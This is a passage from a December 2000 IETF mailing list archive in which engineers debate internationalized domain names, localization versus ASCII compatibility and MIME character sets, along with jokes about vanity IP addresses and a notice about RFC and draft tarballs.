Reply-To: "Robert G. Ferrell" Subject: Re: Diacritical application in the DNS To: ietf@ietf.org MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 3BD7dbHOMAneLAjCzDbQJA== X-Mailer: dtmail 1.3.0 CDE Version 1.3 SunOS 5.7 sun4u sparc X-Loop: ietf@ietf.org >p.s. the lawyers wouldn't give up so easily...they would simply >insist that we support IP addresses with octet values greater than 255. Perhaps it would save us all a lot of grief if we just gave in and assigned them that address space now. How about moving all lawyers to the 666.0.0.0 subnet? ;-) RGF Robert G. Ferrell, CISSP Information Systems Security Officer National Business Center U. S. Dept. of the Interior Robert_G_Ferrell@nbc.gov ======================================== Who goeth without humor goeth unarmed. ======================================== From owner-ietf-outbound Wed Dec 6 16:30:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA28568 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 16:30:02 -0500 (EST) Received: from necom830.hpcl.titech.ac.jp (necom830.hpcl.titech.ac.jp [131.112.32.132]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA23517 for ; Wed, 6 Dec 2000 16:17:03 -0500 (EST) From: Masataka Ohta Message-Id: <200012062104.GAA18256@necom830.hpcl.titech.ac.jp> Received: by necom830.hpcl.titech.ac.jp (8.6.11/TM2.1) id GAA18256; Thu, 7 Dec 2000 06:03:51 +0859 Subject: Re: Will Language Wars Balkanize the Web? In-Reply-To: <1145559438.976103135@P2> from John C Klensin at "Dec 6, 2000 11:45:35 am" To: John C Klensin Date: Thu, 7 Dec 2000 06:03:51 +0859 () CC: vint cerf , ietf@ietf.org X-Mailer: ELM [version 2.4ME+ PL68 (25)] X-Loop: ietf@ietf.org John; > (Can we please move this discussion to the IDN list, where it > belongs?) The point is that IDN WG is purposeless and is wrong to exist. Of course, it is waste of time to discuss it in IDN list. So, the only reasonable reaction is to ignore it (I dropped improper CC:). The only necessary discussion on domain names, IF ANY, is localization issues, for which there is no specific WG of IETF. > (iii) Regardless of how the names in the DNS are coded, it is > important to have analogies to "two sided business cards". A typical business card of Japanese have Chinese characters. When we internatinalize it, we use the other side to put a Lain character version. As we already have fully internatinalized DNS with Latin characters, Chinese characters in DNS is localization against internationalization. > And, because of the > registration issue, there is no plausible way to impose a > requirement that every host (or other DNS entry) have a name in > ASCII if it has a name in some other script: people and hosts > not visible outside their own countries may not care enough to > go to the trouble. That are local issues. If people want local names let them have them under local domains, with all the local conventions on encoding and everything. The administrator of the local domains may or may not force people have additional internatinalized domain names. Note that local, here, means culturally (not necessarily geographically) local that ccTLDs may or maynot be the local domains. But, it can be said that gTLDs are not a proper place to put local names. Masataka Ohta From owner-ietf-outbound Wed Dec 6 17:10:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA09952 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 17:10:02 -0500 (EST) Received: from nemo.corp.equinix.com (somehost-1.equinix.net [207.20.85.153]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA07607 for ; Wed, 6 Dec 2000 17:01:05 -0500 (EST) From: hardie@equinix.com Received: (from hardie@localhost) by nemo.corp.equinix.com (8.9.3/8.9.3) id OAA24800; Wed, 6 Dec 2000 14:00:12 -0800 (PST) Message-Id: <200012062200.OAA24800@nemo.corp.equinix.com> Subject: Re: Diacritical application in the DNS To: hgs@cs.columbia.edu (Henning G. Schulzrinne) Date: Wed, 6 Dec 2000 14:00:12 -0800 (PST) Cc: moore@cs.utk.edu (Keith Moore), bygg@CAFAX.SE (Johnny Eriksson), ietf@ietf.org In-Reply-To: <3A2EA5D2.CDC273A9@cs.columbia.edu> from "Henning G. Schulzrinne" at Dec 06, 2000 03:47:14 PM Reply-to: hardie@equinix.com X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit Henning wrote: > And they would insist that something like > > 180.035.069.037 > > would spell 1-800-Flowers and try to reserve an IP address based on that > name. > -- Believe it or not, the SRI NIC did get at least one request for a vanity IP address around 1988-89. As your example notes, they wanted it to spell out the name of the organization. It's awfully hard to parody marketing, isn't it? regards, Ted Hardie From owner-ietf-outbound Wed Dec 6 17:40:12 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA19219 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 17:40:02 -0500 (EST) Received: from mail3.microsoft.com (mail3.microsoft.com [131.107.3.123]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA14265 for ; Wed, 6 Dec 2000 17:24:32 -0500 (EST) Received: from 157.54.9.100 by mail3.microsoft.com (InterScan E-Mail VirusWall NT); Wed, 06 Dec 2000 14:23:05 -0800 (Pacific Standard Time) Received: by inet-imc-03.redmond.corp.microsoft.com with Internet Mail Service (5.5.2651.58) id ; Wed, 6 Dec 2000 14:24:08 -0800 Message-ID: <8D25F244B8274141B5D313CA4823F39C846772@red-msg-06.redmond.corp.microsoft.com> From: Ian King To: "'hardie@equinix.com'" , "Henning G. Schulzrinne" Cc: Keith Moore , Johnny Eriksson , ietf@ietf.org Subject: RE: Diacritical application in the DNS Date: Wed, 6 Dec 2000 14:23:47 -0800 X-Mailer: Internet Mail Service (5.5.2651.58) X-Loop: ietf@ietf.org Maybe that's why the marketing guys don't laugh at some of our jokes -- by the time we get to the punchline, they're planning a campaign to promote the idea! :-) - Ian King (who actually does respect our marketing folks. Really.) -----Original Message----- From: hardie@equinix.com [mailto:hardie@equinix.com] Sent: Wednesday, December 06, 2000 2:00 PM To: Henning G. Schulzrinne Cc: Keith Moore; Johnny Eriksson; ietf@ietf.org Subject: Re: Diacritical application in the DNS Henning wrote: > And they would insist that something like > > 180.035.069.037 > > would spell 1-800-Flowers and try to reserve an IP address based on that > name. > -- Believe it or not, the SRI NIC did get at least one request for a vanity IP address around 1988-89. As your example notes, they wanted it to spell out the name of the organization. It's awfully hard to parody marketing, isn't it? regards, Ted Hardie From owner-ietf-outbound Wed Dec 6 17:50:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA23074 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 17:50:04 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA17825 for ; Wed, 6 Dec 2000 17:34:59 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eB6MZ0v18964 for ietf@ietf.org env-from ; Wed, 6 Dec 2000 15:35:00 -0700 (MST) Date: Wed, 6 Dec 2000 15:35:00 -0700 (MST) From: Vernon Schryver Message-Id: <200012062235.eB6MZ0v18964@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? X-Loop: ietf@ietf.org > From: Masataka Ohta > ... > > (Can we please move this discussion to the IDN list, where it > > belongs?) > > The point is that IDN WG is purposeless and is wrong to exist. Of > course, it is waste of time to discuss it in IDN list.... Masataka Ohta is raising a point of order, and from what I've seen of other "internationalization" efforts, it is probably more valid than not. That the IETF's effort nominally involves "internationalization" instead of "localization" is bad sign. Since I first encountered "internationalization" hassles in the late 1970's in making an ASCII+EBCDIC system behave tolerably for people typing and reading Arabic and Hebrew text, I've found that "internationalization" is both technically hard and incredibly Politically Correct. Some people like to hoist standardized flags that today bear "Respect for Diversity" and start marching over cliffs--no, that's wrong. In Politically Correct issues, the standards bearers tell everyone else to march over the cliff while they stand to attention nearby. Once an "internationalization" organization gets started, it *never* stops, no matter how many of the original participants get wise and quit, what obviously false premise is required to justify the latest conclusion, nor what damage has already been done (not to mention contemplated) in the product, standard, protocol, or whatever justifies the existence of the internationalization organization. "Is the new version equally and completley useless for both domestic and overseas users?--Great, let's fix the next one." It took me about 10 years and more than one "internationalization" organization to reach that politically incorrect conclusion. > ... > If people want local names let them have them under local domains, > with all the local conventions on encoding and everything. > > The administrator of the local domains may or may not force people > have additional internatinalized domain names. > > Note that local, here, means culturally (not necessarily geographically) > local that ccTLDs may or maynot be the local domains. > > But, it can be said that gTLDs are not a proper place to put local > names. The same thinking that says that MIME Version headers make sense in general IETF list mail also says that localized alphabets and glyphs must be used in absolutely all contexts, including those that everyone must use and so would expect to be limited to the lowest common denominator. When confronted with fact that ANSI X3.4 (ASCII) is a provincial U.S. variant of an international standard, otherwise rational people flinch and claim that sending anything but 7-bit ASCII to major IETF lists is not merely an unthinking waste of bandwidth but must be supported and encouraged. They justify such nonsense with talk like: ] diversity of list ] contributors' networking interests and experience (culture), which include ] people who happen to find it cost-effective to use such things as ] formatting and unusual character sets in their email. MIME is as much a ] part of the Internet culture as any standard (apologies to the author of that private message) It is a mystery to me why otherwise reasonable people who would never dream of imposing their own idiosyncracies on everyone else demand that others not only be allowed but encouraged to do so. In other words, people have trouble understanding that "internationalization" necessarily means restricting to the lowest common internatational denominatior instead of the impossible goal of simultaneously supporting absolutely all possible languages and glyphs. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Wed Dec 6 18:30:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA03112 for ietf-outbound.10@ietf.org; Wed, 6 Dec 2000 18:30:03 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA29764 for ; Wed, 6 Dec 2000 18:15:09 -0500 (EST) Received: from hq.lindsayelec.com ([216.129.40.27]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Wed, 6 Dec 2000 18:14:48 -0500 Received: FROM dank BY hq.lindsayelec.com ; Wed Dec 06 18:14:47 2000 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: Cannot be, those wacky lawyers Date: Wed, 6 Dec 2000 18:14:48 -0500 Message-ID: <20001206231448187.AAA140@hq.lindsayelec.com@hq.lindsayelec.com> X-Loop: ietf@ietf.org >And the lawyers would insist that something like: >180.035.069.037 >would spell 1-800-Flowers and try to reserve an IP address based on that name. oh, That's ridiculous! Besides, 180.035.069.037 is already taken. It spells "Isotoner gloves" ... everybody knows that. Dan K From owner-ietf-outbound Thu Dec 7 01:21:42 2000 Received: by ietf.org (8.9.1a/8.9.1a) id BAA05010 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 01:20:02 -0500 (EST) Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA01679 for ; Thu, 7 Dec 2000 01:12:03 -0500 (EST) Received: (from bovik@localhost) by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id WAA05015; Wed, 6 Dec 2000 22:11:48 -0800 (PST) Date: Wed, 6 Dec 2000 22:11:48 -0800 (PST) From: "James P. Salsman" Message-Id: <200012070611.WAA05015@shell9.ba.best.com> To: ietf@ietf.org Subject: Re: Will Language Wars Balkanize the Web? & P.S. Eudora/PalmOS X-Loop: ietf@ietf.org Masataka Ohta and Vernon Schryver make excellent points in favor of the domain name status quo. I agree that IDN should be frozen for at least a few years to see what local domain admins and application vendors tend to do, especially since the pieces of the likely solutions (such as the competing UTF-8 encodings) are so still so new and somewhat under development. I don't know why ICANN would want to bring such a heavy burden upon themselves in an area of such flux so soone, when they have so much else that they have already committed to do. This thread reminded me of these news items, only two days apart: http://abcnews.go.com/sections/travel/DailyNews/FrenchintheSkies000404.html http://abcnews.go.com/sections/travel/DailyNews/BacktoFrenchinSkies000406.html Cheers, James P.S. By the way, on my usual topic of wireless asynchronous voice messaging, here is a news article in which Qualcomm founder and chief Irwin Jacobs asserts that "voice-enabled capabilities" "could prove popular" on third-generation mobile phones: http://biz.yahoo.com/rf/001206/hkg15073_2.html I suppose Irwin Jacobs is the person to ask for MIME audio attachment record and play in Eudora email on the PalmOS. Please ask in person if you see him in San Diego! From owner-ietf-outbound Thu Dec 7 02:11:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA05747 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 02:10:03 -0500 (EST) Received: from jazz.viagenie.qc.ca (jazz.viagenie.qc.ca [206.123.31.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA02412 for ; Thu, 7 Dec 2000 02:04:31 -0500 (EST) Received: from CLASSIC.viagenie.qc.ca (1Cust206.tnt1.santa-clara2.ca.da.uu.net [63.59.192.206]) by jazz.viagenie.qc.ca (Viagenie/8.11.0) with ESMTP id eB77AmH98057 for ; Thu, 7 Dec 2000 02:10:48 -0500 (EST) X-Accept-Language: fr,en,es Message-Id: <5.0.2.1.1.20001207020522.02a20a48@mail.viagenie.qc.ca> X-Sender: blanchet@mail.viagenie.qc.ca X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 07 Dec 2000 02:07:43 -0500 To: ietf@ietf.org From: Marc Blanchet Subject: tarballs of drafts and rfcs Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1"; format=flowed Content-Transfer-Encoding: 8bit Content-Transfer-Encoding: 8bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 8bit Hi, as usual, the normos project (http://www.normos.org) provide tarballs of all internet-drafts and rfcs for the ietf meeting. The internet-drafts and rfcs tarballs are always available at the normos site and are updated daily. Here are the urls: internet-drafts (20M, tar-gzipped): http://www.normos.org/ietf/draft.tgz ftp://ftp.normos.org/ietf/draft.tgz rfcs (36M, tar-gzipped): http://www.normos.org/ietf/rfc.tgz ftp://ftp.normos.org/ietf/rfc.tgz Regards, Marc. Marc Blanchet Viagénie inc. tel: 418-656-9254 http://www.viagenie.qc.ca ---------------------------------------------------------- Normos (http://www.normos.org): Internet standards portal: IETF RFC, drafts, IANA, W3C, ATMForum, ISO, ... all in one place. From owner-ietf-outbound Thu Dec 7 03:11:37 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA24355 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 03:10:02 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA22900 for ; Thu, 7 Dec 2000 03:04:11 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id JAA04437; Thu, 7 Dec 2000 09:04:04 +0100 Message-Id: <4.3.2.7.2.20001207084208.0296f5b0@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Thu, 07 Dec 2000 08:45:17 +0100 To: Vernon Schryver , ietf@ietf.org From: Harald Alvestrand Subject: Internationalization and the IETF (Re: Will Language Wars Balkanize the Web?) In-Reply-To: <200012062235.eB6MZ0v18964@calcite.rhyolite.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 15:35 06/12/2000 -0700, Vernon Schryver wrote: >The same thinking that says that MIME Version headers make sense in >general IETF list mail also says that localized alphabets and glyphs must >be used in absolutely all contexts, including those that everyone must >use and so would expect to be limited to the lowest common denominator. it may have escaped the notice of some that a fair bit of the discussion on diacritcs was carried out using live examples, and while I am sure there were some who did not see the diacritics on screen, at least there was a single definition of how to get from what was sent on the wire to what might have been displayed on the screen, and MANY of the participants actually saw them correctly displayed. MIME character sets is an example of a battle fought and won. -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Thu Dec 7 04:01:25 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA04904 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 04:00:02 -0500 (EST) Received: from calcite.rhyolite.com (calcite.rhyolite.com [192.188.61.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA04525 for ; Thu, 7 Dec 2000 03:58:04 -0500 (EST) Received: (from vjs@localhost) by calcite.rhyolite.com (8.11.1/8.11.1) id eB78w4911325 for ietf@ietf.org env-from ; Thu, 7 Dec 2000 01:58:04 -0700 (MST) Date: Thu, 7 Dec 2000 01:58:04 -0700 (MST) From: Vernon Schryver Message-Id: <200012070858.eB78w4911325@calcite.rhyolite.com> To: ietf@ietf.org Subject: Re: Internationalization and the IETF (Re: Will Language Wars Balkanize the Web?) X-Loop: ietf@ietf.org > From: Harald Alvestrand > >The same thinking that says that MIME Version headers make sense in > >general IETF list mail also says that localized alphabets and glyphs must > >be used in absolutely all contexts, including those that everyone must > >use and so would expect to be limited to the lowest common denominator. > > it may have escaped the notice of some that a fair bit of the discussion on > diacritcs was carried out using live examples, and while I am sure there > were some who did not see the diacritics on screen, at least there was a > single definition of how to get from what was sent on the wire to what > might have been displayed on the screen, and MANY of the participants > actually saw them correctly displayed. Diacritical marks are no different from Cyrillic, Arabic, Greek, Hebrew, Sanskrit, and other non-Latin character sets in not being not part of the international language. The goal of communicating is to communicate, not wave flags in support of national languages. When you are trying to talk to strangers and have no clue about their languages, you are a fool to not use the common, international language, no matter how poor and ugly it is. > MIME character sets is an example of a battle fought and won. When MIME is used to pass special forms among people whose common understandings including more or other than ASCII, MIME is a battle fought and won. When MIME is used to send unintelligible garbage, it is a battle fought and lost. Whether the garbage is HTML, the latest word processing format from Redmond or a good representation of the mother tongue of 1,000,000,000 people is irrelevant to whether the use of MIME is wise or foolish. If the encoding is not known before hand to be intelligible to its recipients, then the use of MIME is foolish. MIME is a good *localization* mechanism, either in geography or culture or in computer applications (e.g. pictures or sound). The continuing IETF efforts to extend MIME to include yet more extra or special forms in the vague hope that the recipient will surely be able to interpret at least one is probably the best of what we can expect from "internationalized" domain names in 2 or 3 years. Unless something like Vint Cerf's principle of encoding *localized* domain names in ASCII is followed, the IDN efforts will at best repeat the history of MIME email exemplified by the many Microsoft MIME formats. In MIME, except in special cases, the "universal" form of the body is either sufficient and the fancy versions useless wastes of cycles, storage, and bandwidth, or the "universal" form can only say "sorry, better upgrade your system." Just as in the vast majority of HTML+ASCII email where there is can be no useful difference and there is rarely a visible difference between the ASCII plaintext and the HTML encrypted version, *localized* domain names will either be unusable outside their native provinces or they will be usable with a 7-bit ASCII keyboard. Vernon Schryver vjs@rhyolite.com From owner-ietf-outbound Thu Dec 7 04:53:56 2000 Received: by ietf.org (8.9.1a/8.9.1a) id EAA17029 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 04:50:02 -0500 (EST) Received: from hq.lindsayelec.com (lindsayelec.quicklinks.on.ca [216.129.40.27]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA15987 for ; Thu, 7 Dec 2000 04:45:08 -0500 (EST) Received: from hq.lindsayelec.com ([191.1.2.200]) by hq.lindsayelec.com (Post.Office MTA v3.5.3 release 223 ID# 0-66079U100L100S0V35) with SMTP id com for ; Thu, 7 Dec 2000 04:45:07 -0500 Received: FROM dank BY hq.lindsayelec.com ; Thu Dec 07 04:45:06 2000 -0500 X-Sender: dank@191.1.2.250 X-Mailer: Windows Eudora Version 2.0.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: ietf@ietf.org From: dank@hq.lindsayelec.com (Dan Kolis) Subject: Will Language Wars Balkanize the Web? ICANN timing Date: Thu, 7 Dec 2000 04:45:07 -0500 Message-ID: <20001207094507699.AAA302@hq.lindsayelec.com@hq.lindsayelec.com> X-Loop: ietf@ietf.org James Salsman bovik@best.com said: >I don't know why ICANN would want to bring such a heavy burden >upon themselves in an area of such flux so soon, when they have >so much else that they have already committed to do. Dan K says: Well, the actual announcement at ICANN.Org doesn't really even hint at a timetable. I think its got to happen, (IDN DNS). But perhaps not too quickly. I think, the registrars that are pushing the envelope to apply this prematurely are doing there customers somewhat of a dissservice. Then again testing has to happen sooner or later. I don't think there is anyone that wants to trade off doing it quickly for doing it right. Getting more non technocrats involved would help to judge the reality check parts of all of this. But that seems hard to arrange on a meaningful scale without committing to the whole thing. Regs, Dan Kolis From owner-ietf-outbound Thu Dec 7 07:50:29 2000 Received: by ietf.org (8.9.1a/8.9.1a) id HAA11316 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 07:50:06 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA10095 for ; Thu, 7 Dec 2000 07:46:17 -0500 (EST) Received: from dcrocker.dcrocker.net ([63.112.80.138]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id EAA00973; Thu, 7 Dec 2000 04:46:01 -0800 Message-Id: <5.0.1.4.2.20001207064128.03f0fb50@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Thu, 07 Dec 2000 07:23:11 -0500 To: Vernon Schryver , "Vinton G. Cerf" From: Dave Crocker Subject: Re: Internationalization and the IETF (Re: Will Language Wars Balkanize the Web?) Cc: ietf@ietf.org In-Reply-To: <200012070858.eB78w4911325@calcite.rhyolite.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 01:58 AM 12/7/00 -0700, Vernon Schryver wrote: > > From: Harald Alvestrand > > it may have escaped the notice of some that a fair bit of the > discussion on > > diacritcs was carried out using live examples, > >Diacritical marks are no different from Cyrillic, Arabic, Greek, Hebrew, >Sanskrit, and other non-Latin character sets in not being not part of >the international language. The goal of communicating is to communicate, >not wave flags in support of national languages. In a sense, Harald's observation points out a case in which all those other sets very much ARE part of the "international" language. The live examples were a) intended, b) appropriate, and c) successful. It does not matter whether readers understood the semantics of the strings; they needed to be able to see them. That is not national flag waving. That is global utility. > > MIME character sets is an example of a battle fought and won. > >When MIME is used to pass special forms among people whose common >understandings including more or other than ASCII, MIME is a battle >fought and won. >When MIME is used to send unintelligible garbage, it is a battle fought >and lost. Technical standards work often gets distracted by trying to deal with issues that are outside the scope of reasonable technical standards work. It should not be the task of such work to dictate or constrain users to only socially acceptable behavior. That is a social task, not a technical one. Choosing to send various types of data requires making decisions about the context. No technical standard can be designed to "automatically" determine when it is, or is not, appropriate to send that data, whether it is diacritical marks, kanji, or an excel spread sheet. Even when the sender has information about recipient capabilities, social factors affect the choices. So sending such data in MIME inappropriately is STILL an example of a battle fought and won. At least the recipient has the unintelligible data well isolated and labeled. MIME did its job. At 08:19 AM 12/6/00 -0500, vint cerf wrote: >Even if we introduce extended character sets, it seems vital >that there be some form of domain name that can be rendered >(and entered) as simple IA4 characters to assure continued >interworking at the most basic levels. This suggests that >there is need for some correspondence between an IA4 Domain >Name and any extended characterset counterpart. The same task is at issue for the DNS as it was for MIME. We need a mechanism for labeling and encoding DNS strings and, I believe, we need it to be added to the existing DNS. Users of those strings will be all over the world, not just in a particular locale. The need for this capability is massive and immediate. There WILL be a solution deployed. In fact there already is. The question is whether a coherent extension to DNS will be done in a fashion which will keep the DNS integrated, or whether this requirement produces an independent DNS. That's not flag-waving. That's multiple DNS namespaces. We need to be careful to distinguish two different requirements. One is for a mechanism to encode domain names in non-ascii character sets. The second is for an equivalence mapping from non-ascii domain names into ascii domain names. The former is so that the technical and operational aspects of the DNS remain coherent. The latter is so that everyone has a way to reach a particular domain, even if they cannot generate the non-ascii form of the name. The extreme form of the latter task involves ascii encodings that are "comfortable" for human users; that requirement is not solved in human non-technical situations. I believe that the example of alternate choices of "jin" and "gin" as representations for some chinese character(s) was used. Hence this extreme form of the task is not going to be solved by lowly IETF protocol designers. At best, use of ACE-like encodings permits an ascii representation, albeit one that is "uncomfortable". It is as far as the IETF should go in trying to permit a "universally accessible" form for all domain names. Interestingly, we do not need to have all domain names exchange and stored in an ACE form, forever. Just as MIME is able to support pure binary encodings, so can the DNS. The ACE form can be mapped to when needed. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Thu Dec 7 08:00:07 2000 Received: by ietf.org (8.9.1a/8.9.1a) id IAA13316 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 08:00:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA10411 for ; Thu, 7 Dec 2000 07:47:29 -0500 (EST) Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id EAA04336; Thu, 7 Dec 2000 04:47:00 -0800 (PST) Received: from p7020-img-nt.cisco.com (localhost [127.0.0.1]) by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id eB7CkvM25221; Thu, 7 Dec 2000 04:46:57 -0800 (PST) Message-Id: <5.0.2.1.2.20001207073821.024a8a00@127.0.0.1> X-Sender: fred@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Thu, 07 Dec 2000 07:41:00 -0500 To: Betsy Brennan From: Fred Baker Subject: Re: Will Language Wars Balkanize the Web? Cc: ietf@ietf.org In-Reply-To: <3A2AA7B1.99277FF2@nbn.net> References: <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 06:06 PM 12/3/00 -0500, Betsy Brennan wrote: >But the Internet is not the postal system nor the phone system. We already >have the postal system and the phone system. They may be slower, but does >that mean they should be replaced or that the Internet must duplicate what >these systems do? BLB you missed it. Suppose you could not exchange in commerce with a person of a given nationality, not because you did not have a language in common with him or her, but because your system could not interpret his or her name. That would mean that you could not spend money in that person's direction, because you could not communicate with him or her. Although IP datagrams could get from you to him/her, there would not be a good way to determine what address to send them to. That would be pretty tough. From owner-ietf-outbound Thu Dec 7 09:20:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA22815 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 09:20:02 -0500 (EST) Received: from astro.cs.utk.edu (ASTRO.CS.UTK.EDU [128.169.93.168]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA21099 for ; Thu, 7 Dec 2000 09:05:22 -0500 (EST) Received: from astro.cs.utk.edu (LOCALHOST [127.0.0.1]) by astro.cs.utk.edu (cf 8.9.3) with ESMTP id JAA12567; Thu, 7 Dec 2000 09:05:20 -0500 (EST) Message-Id: <200012071405.JAA12567@astro.cs.utk.edu> X-URI: http://www.cs.utk.edu/~moore/ From: Keith Moore To: Vernon Schryver cc: ietf@ietf.org Subject: Re: Internationalization and the IETF (Re: Will Language Wars Balkanize the Web?) In-reply-to: Your message of "Thu, 07 Dec 2000 01:58:04 MST." <200012070858.eB78w4911325@calcite.rhyolite.com> Date: Thu, 07 Dec 2000 09:05:20 -0500 Sender: moore@cs.utk.edu X-Loop: ietf@ietf.org The notion that use of languages other than English can or should be 'localized' strikes me as both shockingly arrogant and hopelessly naive. People can and will use their own languages on the Internet - in email, on the web, and in domain names, and without regard to their location in either the physical world, the currently topology of the network, or the TLD of the host they are using at the moment. Furthermore, a great many people use multiple languages (not necessarily including English) is, so that a given person, host, or subnetwork will often need to exist in multiple (potentially competing) locales at once. And while a great many people - who speak only a single langauge, and whose travels are confined to a small geographic area where others speak only that language - might indeed be happy with a localized solution, adoption of purely localized solutions would impair the vast number of people who do not fall into that category. The question is not whether people will use non-ASCII characters in domain names, but whether the various uses of non-ASCII characters will coexist peacefully with each other and with existing applications, and whether applications will continue to interoperate with one another. So while it's quite important that IDNs be able to be represented in ASCII for compatibility with existing applications and the large number of protocols that use DNS names as protocol elements, and even though we all understand that pure-ASCII, Romanized versions of non-English names will continue to enjoy wide use -- we still need to produce an IDN standard as soon as possible. Fortunately the IDN group is making very good progress, and I'm confident that consensus around a concrete proposal will soon emerge. Keith From owner-ietf-outbound Thu Dec 7 09:40:11 2000 Received: by ietf.org (8.9.1a/8.9.1a) id JAA25225 for ietf-outbound.10@ietf.org; Thu, 7 Dec 2000 09:40:02 -0500 (EST) Received: from bag-1.mail.digex.net (bag-1.mail.digex.net [204.91.99.100]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA24457 for ; Thu, 7 Dec 2000 09:33:56 -0500 (EST) Received: from GK-VAIO.Dial.pipex.com ([216.2.30.54]) by bag-1.mail.digex.net (8.9.3/8.9.3) with ESMTP id JAA18242; Thu, 7 Dec 2000 09:33:18 -0500 (EST) Message-Id: <4.3.2.7.2.20001206181258.022b9b90@pop.dial.pipex.com> X-Sender: maiw03@pop.dial.pipex.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 06 Dec 2000 18:21:09 +0000 To: Dave Crocker From: Graham Klyne Subject: Re: Will Language Wars Balkanize the Web? Cc: "Martin J. Duerst" , ietf@ietf.org In-Reply-To: <5.0.1.4.2.20001204080352.03528790@joy.songbird.com> References: <4.2.0.58.J.20001204170631.0340fce0@sh.w3.mag.keio.ac.jp> <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 08:15 AM 12/4/00 -0500, Dave Crocker wrote: >On the other hand, this thread was triggered by Graham's question about >the negative impact of partitioning. The postal example would seem to >show that the effect is not so bad. > >Except I would claim that it is not partitioning. Note that an address >always has a global representation, in addition to a possibly different >local one. You're right, it's not strictly partitioning... >Perhaps that can reconciled as easily as claiming that any 'local' domain >name must also have a 